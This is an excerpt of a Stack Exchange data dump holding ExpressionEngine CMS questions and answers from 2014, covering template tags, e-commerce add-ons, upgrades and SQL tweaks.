  <row Id="19795" PostTypeId="1" CreationDate="2014-02-26T16:59:24.640" Score="2" ViewCount="80" Body="&lt;p&gt;I'm working on Exp-resso store and now I'm at the stage where I need to cross reference a product, which already belongs to categories (like Furniture -&gt; Chairs) under same channel 'Products'. Now I need to have same product to be in 'XYZ Collection' and 'Gifts Under $500' list, and as a final URL displayed it as it was in the Furniture-&gt;Chairs (avoid multiple URLs for same product from SEO perspective).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which way will be the best to go - use tags (add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/tag&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/tag&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/tagger&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/tagger&lt;/a&gt;) or playa field? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-05T03:28:08.067" Title="Cross reference entries - use tags or playa field?" Tags="|expresso-store|channel-entries|playa|tags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19796" PostTypeId="1" AcceptedAnswerId="19800" CreationDate="2014-02-26T17:00:53.520" Score="1" ViewCount="102" Body="&lt;p&gt;Not sure if that title makes sense, but here is the problem I'm having.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a grid field with four rows (&lt;code&gt;home-featured-lesson&lt;/code&gt;). This grid field has one column, which is a relationship(&lt;code&gt;lesson-plan&lt;/code&gt;). You select the entry you want to relate, then I pull data from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It mostly works, apart from one bit - I have another grid field in the related entry (&lt;code&gt;lesson-images&lt;/code&gt;) and I can't seem to pull anything from it. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{home-featured-lesson}&#xA;    &amp;lt;div class=&quot;lesson-plan&quot;&amp;gt;&#xA;        {home-featured-lesson:lesson-plan:lesson-images}&#xA;            &amp;lt;p&amp;gt;{home-featured-lesson:lesson-plan:lesson-images:image}&amp;lt;/p&amp;gt;&#xA;        {/home-featured-lesson:lesson-plan:lesson-images}&#xA;&#xA;        &amp;lt;h3&amp;gt;{home-featured-lesson:lesson-plan:title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p&amp;gt;{home-featured-lesson:lesson-plan:lesson-summary}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/home-featured-lesson}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;lesson-plan&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;h3&amp;gt;Lesson Plan 1&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;Lorem ipsum&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;lesson-plan&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;h3&amp;gt;Lesson Plan 2&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;Lorem ipsum&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;lesson-plan&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;h3&amp;gt;Lesson Plan 3&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;Lorem ipsum&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;lesson-plan&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;h3&amp;gt;Lesson Plan 4&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;Lorem ipsum&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the tag pair for the grid field inside the related entry is not returning anything at all. I've tried a few variations on the tag pair but nothing seems to work. Does anyone know where I'm going wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2014-02-26T17:52:27.787" Title="Access data from grid field in a related entry, linked by a grid field" Tags="|ee2|relationships|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19797" PostTypeId="1" AcceptedAnswerId="19798" CreationDate="2014-02-26T17:04:44.250" Score="0" ViewCount="63" Body="&lt;p&gt;I am upgrading MSM and ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which upgrade do I need to complete first?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-02-26T17:04:44.250" Title="Should you upgrade ExpressionEngine or Multiple Site Manager (MSM) first?" Tags="|multi-site-manager|upgrade|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19798" PostTypeId="2" ParentId="19797" CreationDate="2014-02-26T17:04:44.250" Score="1" Body="&lt;p&gt;You should always make sure you are running the most recent version of ExpressionEngine when installing or upgrading Multiple Site Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also consider:&lt;/strong&gt; when you buy additional licenses you're technically completing an upgrade of MSM, and so each time you add new licenses, you need to make sure you're on the most recent version of ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-02-26T17:04:44.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19799" PostTypeId="2" ParentId="19641" CreationDate="2014-02-26T17:39:34.677" Score="1" Body="&lt;p&gt;Rather than use :plus_tax on the order_subtotal tag, the solution was to map a field in the config for Order Subtotal Plus Tax and just output that directly in the template (for example {order_subtotal_plus_tax}.&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-02-26T17:39:34.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19800" PostTypeId="2" ParentId="19796" CreationDate="2014-02-26T17:52:27.787" Score="2" Body="&lt;p&gt;I &lt;strong&gt;think&lt;/strong&gt; you're almost there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{home-featured-lesson:lesson-plan}&#xA;    {home-featured-lesson:lesson-plan:lesson-images}&#xA;        &amp;lt;p&amp;gt;{home-featured-lesson:lesson-plan:lesson-images:image}&amp;lt;/p&amp;gt;&#xA;    {/home-featured-lesson:lesson-plan:lesson-images}&#xA;{/home-featured-lesson:lesson-plan}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think you need to establish the first relationship, then the 2nd. Can't do it in one go, I believe.&lt;/p&gt;&#xA;" OwnerUserId="2405" LastActivityDate="2014-02-26T17:52:27.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19801" PostTypeId="1" CreationDate="2014-02-26T19:31:04.977" Score="0" ViewCount="95" Body="&lt;p&gt;We have several calendars set up on our site...a main school calendar and also calendars for each of our teachers.  To add events to the teacher calendars their names are dropped down on the option tab...is it possible to have all as a selection so the event will show on all calendars?&lt;/p&gt;&#xA;" OwnerUserId="2789" LastEditorUserId="1326" LastEditDate="2014-02-27T01:55:19.500" LastActivityDate="2014-02-27T01:55:19.500" Title="Add Events to multiple calendars" Tags="|solspace|solspace-calendar|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19805" PostTypeId="1" CreationDate="2014-02-26T21:27:05.000" Score="1" ViewCount="34" Body="&lt;p&gt;The most bizarre thing has just started: When either creating or updating an entry with a playa field and I use the built-in playa search for the relationship, the EE entry will not save (returns to CP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT, when i scroll through the relationships and select the related entry (without touching anything else) the EE entry will save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This just began happening. EE 2.7 Playa 4.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this would be occurring?&lt;/p&gt;&#xA;" OwnerUserId="2108" LastActivityDate="2014-02-28T23:01:49.953" Title="EE Entry will not save when Playa relationship is searched for relationship" Tags="|playa|pixelandtonic|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19806" PostTypeId="2" ParentId="19739" CreationDate="2014-02-26T22:19:20.020" Score="3" Body="&lt;p&gt;Alec's method works, but it might cause very high query counts due to the way EE generates nested Channel Entries tags. Take a look at the alternative method outlined in this post from EE Add-on superhero (and parse order master) Low. It achieves the same thing, but is &lt;em&gt;much&lt;/em&gt; more performance friendly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/blog/nesting-tags-and-performance-in-ee&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/blog/nesting-tags-and-performance-in-ee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you're like me and not excited about futzing with PHP, have no fear. This is actually a pretty simple and flexible technique to implement even if it might not appear so on the surface. &lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2014-02-26T22:19:20.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19807" PostTypeId="1" AcceptedAnswerId="19856" CreationDate="2014-02-26T22:59:47.283" Score="0" ViewCount="146" Body="&lt;p&gt;What's the correct way to pull multiple rates from multiple shipping plugins? I tried using the below but it generates errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;shipping_option&quot;&amp;gt;&#xA;{exp:cartthrob:get_shipping_options shipping_plugin=&quot;shipping_ups|shipping_usps&quot;}&#xA;    &amp;lt;option value=&quot;{rate_short_name}&quot; data-price=&quot;{price}&quot; {selected}&amp;gt;{rate_title} - {price}&amp;lt;/option&amp;gt;&#xA;{/exp:cartthrob:get_shipping_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I using the shipping_plugin parameter incorrectly?&lt;/p&gt;&#xA;" OwnerUserId="335" LastActivityDate="2014-02-28T19:48:39.463" Title="Using Multiple Live Rates Plugins" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19808" PostTypeId="1" CreationDate="2014-02-26T23:15:53.663" Score="1" ViewCount="214" Body="&lt;p&gt;Is there a way to see the files I have selected and to be able to remove them if needed from the upload file button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I selected for this example 2 files and it only says you have &quot;2 files selected&quot; next to the file button.  Is there a way to get those files to display with their names and an x next to them to remove them if needed?&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2014-02-26T23:15:53.663" Title="Assets and Channel Form Upload" Tags="|assets|channel-form|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19809" PostTypeId="1" CreationDate="2014-02-27T03:39:08.213" Score="1" ViewCount="103" Body="&lt;p&gt;We have a project where our client would like to display different prices for promotions, based on a member's group. The client would like the member to login by entering their current customer account number, which is allocated to them though our client's Point-Of-Sale. Our client would like the member to be able to do this without a password, as the data to be displayed is not particularly sensitive, but is tailored to their members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? We are planning on using Zoo Visitor to manage members elsewhere on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="2744" LastActivityDate="2014-02-27T04:59:08.580" Title="Log in member based on custom field, without password" Tags="|members|login|zoo-visitor|member-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19810" PostTypeId="2" ParentId="19524" CreationDate="2014-02-27T03:45:08.340" Score="1" Body="&lt;p&gt;I had the same problem - according to Manuel at DD this was a bug with updating earlier version of EE introduced when they added support for EE2.8 and is now fixed with the latest version of Updater (3.2.11)&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2014-02-27T03:45:08.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19811" PostTypeId="2" ParentId="19781" CreationDate="2014-02-27T03:50:56.987" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt; is great for controlling and customizing what other member groups can see in admin control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Lets you fully customize the control panel menu per membergroup. Insert custom links, rename, re-order and remove menu items in order to create a more intuitive menu...&quot; &lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2014-02-27T03:50:56.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19813" PostTypeId="2" ParentId="19809" CreationDate="2014-02-27T04:59:08.580" Score="2" Body="&lt;p&gt;I think, Customer Account Number would be unique for each member so based on the Customer Account Number, the member id can be fetched. That member id can be used for manually login a member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see here: &lt;a href=&quot;http://www.sidd3.com/manually-login-a-member-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;Manually login a member in ExpressionEngine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another way also. As you can get member's username also with Customer Account Number so just use &lt;a href=&quot;http://www.putyourlightson.net/logmein/docs&quot; rel=&quot;nofollow&quot;&gt;LogMeIn&lt;/a&gt; addon and pass username. I hope, it would be best approach for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you mentioned that using Zoo Visitor so getting username and member_id would be easy with parameter &lt;code&gt;search:customer_account_no_field=&quot;[CUSTOMER ACCOUNT NUMBER]&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-02-27T04:59:08.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19814" PostTypeId="1" AcceptedAnswerId="19827" CreationDate="2014-02-27T05:07:29.467" Score="0" ViewCount="79" Body="&lt;p&gt;I need to set up a filter that will allow products to be ordered by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title&lt;/li&gt;&#xA;&lt;li&gt;Price&lt;/li&gt;&#xA;&lt;li&gt;Popularity&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first two seem simple enough but I'm not sure what the most efficient way of ordering by popularity might be?&lt;/p&gt;&#xA;" OwnerUserId="306" LastActivityDate="2014-02-27T18:32:49.480" Title="Cartthrob: how would I order products by popularity?" Tags="|cartthrob|ecommerce|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19815" PostTypeId="2" ParentId="6762" CreationDate="2014-02-27T06:14:53.210" Score="1" Body="&lt;p&gt;EE is independent of any preset theme. It exists as a CMS that works within any theme you choose - you could pick any HTML theme up from ThemeForest, replace the default text with EE tags, and boom - instant theme with CMS. that said, it's not wordpress where you just install the theme and off you go, but on the other hand, it's not limited to preset locations for content - your site doesn't have to resemble 1000 other ones. Unless that's what you had in mind.. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-02-27T06:14:53.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19816" PostTypeId="1" AcceptedAnswerId="19870" CreationDate="2014-02-27T10:14:34.747" Score="0" ViewCount="20" Body="&lt;p&gt;We have an instance of wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user clicks the link button a list of all entries comes up for the user to choose from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This list contains both open and closed entries, is there a way to hide the closed enteries and only allow linking to open  entries? &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-03-01T17:08:50.757" Title="Wygwam Link List - Hide Hidden Enteries" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19817" PostTypeId="2" ParentId="19814" CreationDate="2014-02-27T10:24:25.330" Score="0" Body="&lt;p&gt;Your going to need to collect numbers on the total sales of a product and then show search results based upon this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as part of the checkout process i would suggest extending the PHP to update a field in the database with total sales for this item. Then when the user searched via popularity you could use PHP to find the top 10 items by comparing the total sales figures and put out the results accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming cart throb doesn't give you the ability to do this off the shelf. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-02-27T10:24:25.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19818" PostTypeId="2" ParentId="19794" CreationDate="2014-02-27T11:12:05.757" Score="0" Body="&lt;p&gt;This was fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform stores inline errors in a &quot;Flash&quot; cookie. Because we had the cookie consent module enabled (with the intention to not set any cookies to users) it couldn't set them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it appeared to work on the main website was because we were logged into CP and thus had accepted cookies. D'oh!&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-02-27T11:12:05.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19819" PostTypeId="1" CreationDate="2014-02-27T11:19:43.550" Score="1" ViewCount="61" Body="&lt;p&gt;So on my local server I can see my templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mylocalhost.com/site/aboutus&quot; rel=&quot;nofollow&quot;&gt;http://mylocalhost.com/site/aboutus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I moved my site to another (staging server) and these templates have disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I have updated the Server path to site's templates and have synced the templates and all is good there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: created a test template and /site/test is not visible either&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="2616" LastEditDate="2014-02-27T11:30:58.647" LastActivityDate="2014-02-28T20:21:09.670" Title="moving site cannot see templates" Tags="|ee2|server-migration|hosting|localhost|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19820" PostTypeId="2" ParentId="19814" CreationDate="2014-02-27T11:28:56.000" Score="0" Body="&lt;p&gt;It depends on your definition of popularity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's &quot;how many people have looked at this?&quot; then you can probably use &lt;code&gt;track_views=&lt;/code&gt; and then sort by that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation at:- &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-entries-track-views&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-entries-track-views&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-02-27T11:28:56.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19821" PostTypeId="2" ParentId="18315" CreationDate="2014-02-27T11:32:20.123" Score="1" Body="&lt;p&gt;You need to delete this out of your .htaccess when accessing EE from a sub folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1971" LastActivityDate="2014-02-27T11:32:20.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19822" PostTypeId="1" AcceptedAnswerId="19823" CreationDate="2014-02-27T11:40:29.297" Score="0" ViewCount="19" Body="&lt;p&gt;How do you set all channels to have revisions? Especially on a big MSM site, this takes a lifetime!&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-02-27T11:40:29.297" Title="Set all channels to save revisions" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19823" PostTypeId="2" ParentId="19822" CreationDate="2014-02-27T11:40:29.297" Score="1" Body="&lt;p&gt;This simple SQL command will find all channels that doesn't have versioning enabled and will enable it remembering 10 revisions (change as you see fit).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channels&#xA;SET 'enable_versioning'='y', 'max_revisions'='10'&#xA;WHERE 'enable_versioning'='n'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-02-27T11:40:29.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19824" PostTypeId="1" CreationDate="2014-02-27T12:47:03.277" Score="1" ViewCount="77" Body="&lt;p&gt;I was wondering if anyone out here has tried to integrate paybox as a payment service for expresso store so far? I'm about to start working on the integration but if someone already made an attempt I would like some feedback before starting. :-)&lt;/p&gt;&#xA;" OwnerUserId="1664" LastActivityDate="2014-03-03T21:46:29.473" Title="Paybox integration expresso" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19825" PostTypeId="1" AcceptedAnswerId="19826" CreationDate="2014-02-27T13:48:13.060" Score="0" ViewCount="120" Body="&lt;p&gt;I want to list out related entries when viewing an entry, regardless of channel but according to the category of the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the page where the entry is output, I output the entry in a traditional {exp:channel:entries} tag and close it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I start a new tag where I thought I'd have to get the category_id first, before inserting that id into the channel:entries tag. I use Stash for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my tags looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel1|channel2&quot; limit='1' parse=&quot;inward&quot;}&#xA;     {exp:stash:set name=&quot;cat&quot; parse_tags=&quot;yes&quot;}&#xA;        {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; last_only=&quot;yes&quot; style=&quot;linear&quot;}{cat_id}{/exp:gwcode_categories}&#xA;     {/exp:stash:set}&#xA;&#xA;     &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And right before I want to output related entries, I can get the stash variable fine like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{exp:stash:get name=&quot;cat&quot; process=&quot;end&quot;}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then, when I try to use this variable directly in the next tag, it comes out blank. Most likely because of parse order. I know the code works because if I manually add an ID for category, the entries as listed out like you'd expect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel1|channel2&quot; &#xA;category='{exp:stash:get name=&quot;cat&quot; process=&quot;end&quot;}' limit=&quot;3&quot; dynamic=&quot;no&quot;}&#xA;      {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? How can I get the correct parse order?&#xA;Edit: Yes, I can use an embedded template, which is what I'll be doing if I can't get this to work.&lt;/p&gt;&#xA;" OwnerUserId="2111" LastEditorUserId="2111" LastEditDate="2014-02-27T14:02:40.197" LastActivityDate="2014-02-27T14:25:59.403" Title="Listing related entries based on category" Tags="|stash|parse-order|gwcode-categories|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19826" PostTypeId="2" ParentId="19825" CreationDate="2014-02-27T14:25:59.403" Score="1" Body="&lt;p&gt;What about just using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#related-categories-mode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;related_categories_mode=&quot;&quot;&lt;/code&gt; parameter&lt;/a&gt; on the channel:entries tag?&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-27T14:25:59.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19827" PostTypeId="2" ParentId="19814" CreationDate="2014-02-27T14:36:40.507" Score="2" Body="&lt;p&gt;You can use this SQL with the query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT exp_channel_titles.*, COUNT(row_id) AS popularity&#xA;FROM exp_channel_titles&#xA;LEFT JOIN exp_cartthrob_order_items&#xA;ON exp_channel_titles.entry_id = exp_cartthrob_order_items.entry_id&#xA;WHERE channel_id = 1 #this is your products channel id&#xA;GROUP BY exp_channel_titles.entry_id&#xA;ORDER BY popularity DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will have the products that have been ordered the most at the top of the list. If you need more than just title, entry_id, and url_title, you'll need to use this query to collect a list of entry_id's to feed into &lt;code&gt;{exp:channel:entries}&lt;/code&gt;. I hope this gets you pointed in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-27T14:36:40.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19830" PostTypeId="1" CreationDate="2014-02-27T16:42:09.750" Score="1" ViewCount="142" Body="&lt;p&gt;I need to add a discount amount to each purchased item entry.  I had a conversation on Twitter that indicates that this is existing in CT already but is halfway there.  Has anyone accomplished this already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the twitter conversation I am referring to: &lt;a href=&quot;https://twitter.com/cartthrob/status/388310009643159554&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/cartthrob/status/388310009643159554&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="212" LastActivityDate="2014-09-15T02:41:48.363" Title="Cartthrob: Add discount amount to purchased items" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19831" PostTypeId="1" CreationDate="2014-02-27T17:13:21.503" Score="1" ViewCount="181" Body="&lt;p&gt;I'm trying to use the low events fieldtype within a Channel Form for users to submit events. &#xA;If I use the field shortname &lt;code&gt;{field:myfieldname}&lt;/code&gt; it works fine, but I am trying to customise the look of the fields/datepicker, mainly because the form is responsive and the EE styled datepicker breaks the design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the same approach as what I would normally do with matrix, and have seen what HTML is outputted by the field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;low-events-120&quot; class=&quot;low-events low-all-day&quot; data-time-format=&quot;eu&quot; data-time-interval=&quot;60&quot; data-lang-decimal=&quot;.&quot; data-lang-mins=&quot;mins&quot; data-lang-hr=&quot;hr&quot; data-lang-hrs=&quot;hrs&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;event_date[start_date]&quot; value=&quot;2014-03-23&quot; class=&quot;date start-date hasDatepicker&quot; maxlength=&quot;10&quot; id=&quot;dp1393520784651&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;event_date[start_time]&quot; value=&quot;&quot; class=&quot;time start-time ui-timepicker-input&quot; autocomplete=&quot;off&quot;&amp;gt;&#xA;—&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;event_date[end_time]&quot; value=&quot;&quot; class=&quot;time end-time ui-timepicker-input&quot; autocomplete=&quot;off&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;event_date[end_date]&quot; value=&quot;2014-03-23&quot; class=&quot;date end-date hasDatepicker&quot; maxlength=&quot;10&quot; id=&quot;dp1393520784652&quot;&amp;gt;&#xA;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;event_date[all_day]&quot; value=&quot;y&quot; checked=&quot;checked&quot;&amp;gt; All Day&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have changed the class in order to target a different datepicker (using pickadate.js) and this works but it would not save the dates/times, so I'm not sure what else I would need to change? Presumably the values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I do not need an input for the end date/time as I only want the user to enter a single date and start time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers on this would be greatly appreciated! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2014-03-30T11:03:50.863" Title="Low events field in Channel Form, customising" Tags="|safecracker|channel-form|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
